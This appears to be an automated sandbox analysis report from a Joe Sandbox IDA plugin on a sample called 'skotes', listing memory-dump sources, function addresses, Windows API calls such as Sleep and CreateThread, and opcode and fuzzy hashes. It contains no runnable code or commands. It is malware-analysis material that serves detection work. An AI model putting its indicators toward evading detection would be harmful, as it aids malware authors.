Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: c21b18b89eb34b1bdf9c034a7863a9c8bc5d884b7920d47aa04d0694a4e50281
Instruction ID: e44b4a1da1554ed6f8f64c78cf11cdade14154c7bb6a0a9b9f4c3798d906d728
Opcode Fuzzy Hash: c21b18b89eb34b1bdf9c034a7863a9c8bc5d884b7920d47aa04d0694a4e50281
Instruction Fuzzy Hash: 7DE11971E006489BDF14BB68CD4B79D7AA1AB46710F94228CE85D7B3C2DF754E848BC2

Function 00E87590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,A850279A,?,00000000,00EC9138,000000FF), ref: 00E875CC
CreateThread.KERNEL32(00000000,00000000,00E87430,00EE8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00E876BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00E876C9

Part of subcall function 00E9D0C7: RtlWakeAllConditionVariable.NTDLL ref: 00E9D17B

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 8323f276c7ee3ceb92adec9370ecca365630954a1532d34928b63db8dcd0a9c6
Instruction ID: 7ee78cda14e69e6ea21c5b5ff42ae28e1132a597f74a64728c17eb9d04ea0c00
Opcode Fuzzy Hash: 8323f276c7ee3ceb92adec9370ecca365630954a1532d34928b63db8dcd0a9c6
Instruction Fuzzy Hash: 4E51EF71204289AFEB14DF29DE85B8D3BA1EB44304F605619F85DBB3D1CB7AD884CB91

Function 00EBD634 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,m, xrefs: 00EBD64D, 00EBD835, 00EBD683, 00EBD6A6, 00EBD7D9, 00EBD834

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: ,m
API String ID: 0-2137845789
Opcode ID: 8f6b3a7f949f9f7f76e361d47f7bc12e8ef96474e6c7d652abd22002ea7a8658
Instruction ID: b4118e31a2849222e70430ff495e535a744b419d6625543262289cff6adfbfbd
Opcode Fuzzy Hash: 8f6b3a7f949f9f7f76e361d47f7bc12e8ef96474e6c7d652abd22002ea7a8658
Instruction Fuzzy Hash: B9610732D092258FCF25AFA8DC857EFB7A0EB15329F28602AD44577255FA319C008B51

Function 00EBD82F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,00EBA72D,?,00000000,?,00EB6D2C,00E87883,A850279A,00E87883), ref: 00EBD870

Strings

,m, xrefs: 00EBD64D, 00EBD835, 00EBD683, 00EBD6A6, 00EBD7D9, 00EBD834

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: ,m
API String ID: 1279760036-2137845789
Opcode ID: 2ee70a1f4d82c31b169de4c4f264167abc419299f3573fdc17c51ed50d3ea9d0
Instruction ID: 7bc5e8952c9b3be6bc3eaa73f625fd7c75fe3e0a18a431af4bbcf338da6a1afe
Opcode Fuzzy Hash: 2ee70a1f4d82c31b169de4c4f264167abc419299f3573fdc17c51ed50d3ea9d0
Instruction Fuzzy Hash: E0F02E3250D12467DB392A73AD02ADB3799DF817B1B15B021FD04FB191FA20DC0086E0

Function 00E88380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00E88524

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 79b1a24c35f86831dd1aef17a74f9f9403711e4b0f7d53d7cc150e685321bca7
Instruction ID: b445d226437a7e0b5977870d32ed4250595cd719c5e2889d595bf6fd9ad1ea9e
Opcode Fuzzy Hash: 79b1a24c35f86831dd1aef17a74f9f9403711e4b0f7d53d7cc150e685321bca7
Instruction Fuzzy Hash: 8A511671D042589BDB24FB68CE49BDEB7B4EB45310F905299E81CB72C1DF349E848B91

Function 00EBB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,A850279A,?,?,00E9D3FC,A850279A,?,00E97A8B,?,?,?,?,?,?,00E87465,?), ref: 00EBB07E

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ab5162977eb37c0ee5eae0c5ddbc0f17cb5403f1abfbe632f7302d97ce281a3e
Instruction ID: 446a208cd6a974b8da05d2927c8d0cd33a2d0612f6fe00bb9ce3219d90c9ac3b
Opcode Fuzzy Hash: ab5162977eb37c0ee5eae0c5ddbc0f17cb5403f1abfbe632f7302d97ce281a3e
Instruction Fuzzy Hash: 10E06D35141226DAEA3232668D41BFBB68C9B423E4F153610EE65B6191EBE0DC0082E0

Function 00E96C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00E96CF5

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 0789f6dd2984f3a868aa1fe1dbd5a1027d952655009a66164822d58a71233015
Instruction ID: c3cae3d77dd897a5cd97b39cbe672999f5b75a0181667897b6ab215a35934fb8
Opcode Fuzzy Hash: 0789f6dd2984f3a868aa1fe1dbd5a1027d952655009a66164822d58a71233015
Instruction Fuzzy Hash: D5F0D171A00648ABCB01BB699D06B0EBBB8EB46760F80165CF8257B2D1DA701A084BD2

Function 058A013B Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2452f7b4a891afd96ebf0716184bd5968e61f5c8db9f6fa9d0bf6b2027dd6008
Instruction ID: 33352962d64a7ad2ef513a052c88bf7e9c09db09c5f62f2bc5327f9687884b8c
Opcode Fuzzy Hash: 2452f7b4a891afd96ebf0716184bd5968e61f5c8db9f6fa9d0bf6b2027dd6008
Instruction Fuzzy Hash: 0E21D3F720D354FEB203D5506A28EF63B6EE9DA734330846BFC42CA002E2591E499632

Function 058A01B3 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e00430ef74c037e0cc469206d75a6a99d09f4aebc1809db1c8fe5209c9f40dfb
Instruction ID: d6a867585b6484bfec1fc462557dc8c6d1fc6b31da6ba9f227aabdf33a572b84
Opcode Fuzzy Hash: e00430ef74c037e0cc469206d75a6a99d09f4aebc1809db1c8fe5209c9f40dfb
Instruction Fuzzy Hash: 89017CEB21D319FD7102E4416B28AF727AFD6D9B383308827BC47CA500F2696D8A5231

Function 058A01AE Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544bb4c0ea8d3244dc63e36b60655907781436d41a5cda179017180fb3b7fe2e
Instruction ID: 291be12a6481f963bf7272174d62a5eb04dfa115f5cfaaa16f9c28e660e16188
Opcode Fuzzy Hash: 544bb4c0ea8d3244dc63e36b60655907781436d41a5cda179017180fb3b7fe2e
Instruction Fuzzy Hash: FE014BE711D319FD7203E5416B28AF627AFD5D6B383308827BC47CA501E2596E895232

Function 058A01D8 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6cb78110540cafb77b5993f64e4d95665d47cda04a4217e924a31cb094d3a8f
Instruction ID: acdedacfe4ca110373c9afd51c65c21a147415be6a763c80907e2b90d4a4a27c
Opcode Fuzzy Hash: d6cb78110540cafb77b5993f64e4d95665d47cda04a4217e924a31cb094d3a8f
Instruction Fuzzy Hash: A0018CE761D329ED7203C4412B29AFA276ED1D5B393308827FC47CA001F2596E4A5232

Function 058A0203 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13c8265aea69fe9b8ef7ffc8e3845535aa4c0244b0491c1752099fde42918a67
Instruction ID: a8f7cd5dbaa6ff8f12c8ec9a7ce7a8d1d0067b550ae883677c7bbcf9ede4d672
Opcode Fuzzy Hash: 13c8265aea69fe9b8ef7ffc8e3845535aa4c0244b0491c1752099fde42918a67
Instruction Fuzzy Hash: 560186B310D355EEB202D5516A295B6776AE5C6634330842BF847CB445E21A2D959231

Function 058A01EB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbb2daa39b4cd9114d4c2fcd159e992d0f23cfadd82fb784f664f5571da2c2c5
Instruction ID: 866d24c5bea6b377fe239ce993df627ca2fc5b14dc983ee60cf77f9ac0600f30
Opcode Fuzzy Hash: cbb2daa39b4cd9114d4c2fcd159e992d0f23cfadd82fb784f664f5571da2c2c5
Instruction Fuzzy Hash: D8F0C2F721D318EE7203C4423B28AF6376ED5C97393358827FC47CA404E2592D4A9232

Function 058A0234 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 010d1fa5dca9680ba7bd1ea14c836de6e642e021ec901919f690ed167b6c8cdd
Instruction ID: 6632fb0dbd7183d4385510a3eb4cf54c1c61f90164ccb02e643bdad488bc8f68
Opcode Fuzzy Hash: 010d1fa5dca9680ba7bd1ea14c836de6e642e021ec901919f690ed167b6c8cdd
Instruction Fuzzy Hash: F8F015E751D229FD7102D0422B29AF6276ED5D5638370882BF84BCA805E2592E896532

Function 058A0255 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bd9033dc0f552f2258f6b1774199baa402d86c6f279153699afc09e961ec4a0
Instruction ID: d5ccbb4741d61f744673b8d9aff0e75df81d29c7708056d27e3600ad30d76b72
Opcode Fuzzy Hash: 3bd9033dc0f552f2258f6b1774199baa402d86c6f279153699afc09e961ec4a0
Instruction Fuzzy Hash: 82F0E5E710E350BEB203C1423F29EFB676ED9D2338330841BF883C6146E6590D496236

Function 058A0242 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3461890971.00000000058A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 058A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_58a0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c863f32cbee1b4129e48d799f942072f8d29d73681b404efab6f2b8ad077553
Instruction ID: e9ccb66da79db620198f3d0f066ddf7e0f2e50ecc357eb22e3ade95517703ee5
Opcode Fuzzy Hash: 7c863f32cbee1b4129e48d799f942072f8d29d73681b404efab6f2b8ad077553
Instruction Fuzzy Hash: 4DF0A9E311C228FC7103D4022B28AF6232ED0D57383348923F883C5801E64A1E8A6131

Non-executed Functions

Function 00EC31A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00EC3323

Strings

1#QNAN, xrefs: 00EC44C1
1#INF, xrefs: 00EC44DE
1#IND, xrefs: 00EC44B3
1#SNAN, xrefs: 00EC44BA

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: f3f49f68e199adbfff7b5862202a986efe123bf1bfd30f79d8feab1347bbe192
Instruction ID: 0a501a67da3389f9d26f395ce9293321058b21262698e14a3c3470eb168a9b41
Opcode Fuzzy Hash: f3f49f68e199adbfff7b5862202a986efe123bf1bfd30f79d8feab1347bbe192
Instruction Fuzzy Hash: 0AC21DB1E046288FDB25CE28DE50BEAB7B5EB44315F1451EED44DB7240E776AE828F40

Function 00EC2D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: ff2ff9183cb3be36ea9aadb54b22674a822b6714d29b2896e95807020aaa4e8a
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 02F10B71E012199FDF14CFA8C980BADBBB1FF48314F25826DE915B7345D731AA428B94

Function 00E9CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00E9CF52,?,?,?,?,00E9CF87,?,?,?,?,?,?,00E9C4FD,?,00000001), ref: 00E9CC03

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
